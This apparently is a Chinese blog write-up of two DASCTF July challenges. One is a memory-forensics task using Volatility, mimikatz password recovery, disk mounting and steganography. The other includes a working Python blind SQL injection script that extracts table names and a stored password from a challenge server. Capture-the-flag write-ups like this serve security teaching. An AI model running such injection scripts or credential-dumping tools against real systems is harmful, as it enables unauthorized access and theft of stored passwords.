[DASCTF 7月赛] 复现

ez_forenisc

获取内存镜像的摘要信息,比如系统版本: imageinfo

查看进程信息: pslist

python2 vol.py -f pc.raw --profile=Win7SP1x64 pslist

扫描 cmd命令使用情况: cmdscan

python2 vol.py -f pc.raw --profile=Win7SP1x64 cmdscan

 提示说有屏幕截图

查看屏幕截图: 

python2 vol.py -f pc.raw --profile=Win7SP1x64 screenshot --dump-dir=./

 文件名是thes3cret 

查找文件: filescan 、grep

python2 vol.py -f pc.raw --profile=Win7SP1x64 filescan | grep 'thes3cret'

导出文件:dumpfiles

python2 vol.py -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./ 

 发现密文

查看明文密码: mimikatz 

  

550f37c7748e 

挂载pc.vmdk

FTK Imager 打开后Mount 该文件

 

 再用efdd 打开,配合pc.raw挂载

 

 

 挂载成功到F盘

 

 

 可以打开文件了

一个png ,用zsteg打开能看见有个zip,提取出来

 

压缩包密码就是上面 的admin密码550f37c7748e 

 

 这串数字是八进制 ,也可直接ciphey

得到了密钥 358daebef0b7d 

上面也得到了密文U2Fs.... 是AES密文

绝对防御

源码找可疑路径

访问后有源码,有过滤 

 

import requests
import time

def getDatabase():

    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #sql="select database()"
            sql="select group_concat(table_name) from information_schema.tables where table_schema=database()"
            sql="select group_concat(column_name) from information_schema.columns where table_name='users'"
            sql="select password from ctf.users where id=2" 
//flag在id为2的表里
            payload= "1 and (ascii(substr(({}),{},1))<{})#".format(sql,i,mid)
            res = requests.post("http://994a7e03-36fb-43b4-9bfe-640cc35ce531.node4.buuoj.cn:81//SUPPERAPI.php?id="+payload)
            # print(payload)
            # print(res.text.split("\n")[-1])
            if "admin" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        time.sleep(1) 
        ans += chr(mid-1)
        print("res is -> "+ans)

getDatabase()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值